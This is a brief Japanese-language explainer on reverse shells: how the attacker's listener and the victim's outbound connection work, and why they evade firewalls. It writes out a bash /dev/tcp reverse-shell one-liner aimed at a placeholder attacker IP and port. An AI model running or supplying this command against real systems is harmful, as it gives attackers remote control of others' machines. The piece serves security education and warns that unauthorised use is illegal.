リバースシェルとは
リバースシェルとは、攻撃者のマシンから直接リモートシェルへ接続するのではなく、リモートマシンが攻撃者のマシンに対して接続を初めて行うタイプのシェルです。この方法は、特にファイアウォールがシステムへのインバウンド接続を制限している場合に用いられます。
リバースシェルの一般的な動作は以下の通りです:
攻撃者のリスナー設定:攻撃者は自分のマシンにリスナーを設定し、来るべき接続を待ちます。
被害者マシンの接続:被害者のマシン(侵入されたシステム)にコードを実行させて、攻撃者のマシンに対する接続を開始させます。
接続の確立:一度接続が確立されると、攻撃者は被害者のマシンのシェルセッションを持ち、まるでそのマシンのシェルに直接アクセスしているかのようにコマンドを実行することができます。
リバースシェルは、攻撃者がシステムやアプリケーションの脆弱性を突いてリモートコード実行の能力を得た後によく作成されます。リバースシェルは、bash、PowerShell、Python、PHP、Perlなど、ネットワーク接続を開くことができる任意の言語を使用して、さまざまなタイプのシェルコードやスクリプトを使用して作成できます。
例として、Unix系システム上で bash を使用したリバースシェルの簡単なコマンドは次のようになります:
bash -i >& /dev/tcp/攻撃者のIP/ポート 0>&1
このコマンドでは:
bash -i は対話型のbashシェルを呼び出します。
>& /dev/tcp/攻撃者のIP/ポート はシェルの出力を攻撃者のIPアドレスとポートへのTCP接続にリダイレクトします。
0>&1 は標準入力(0)を標準出力(1)に接続し、攻撃者がシェルにコマンドを送ることができるようにします。
リバースシェルの使用は攻撃者が初期アクセスを得た後の一般的な戦術であり、サイバーセキュリティのトレーニングやテストのために合法的かつ管理された環境内で適切な許可を得て使用する場合を除き、悪意のある活動と見なされます。許可なくリバースシェルを使用して他人のシステムにアクセスすることは違法であり、倫理に反します。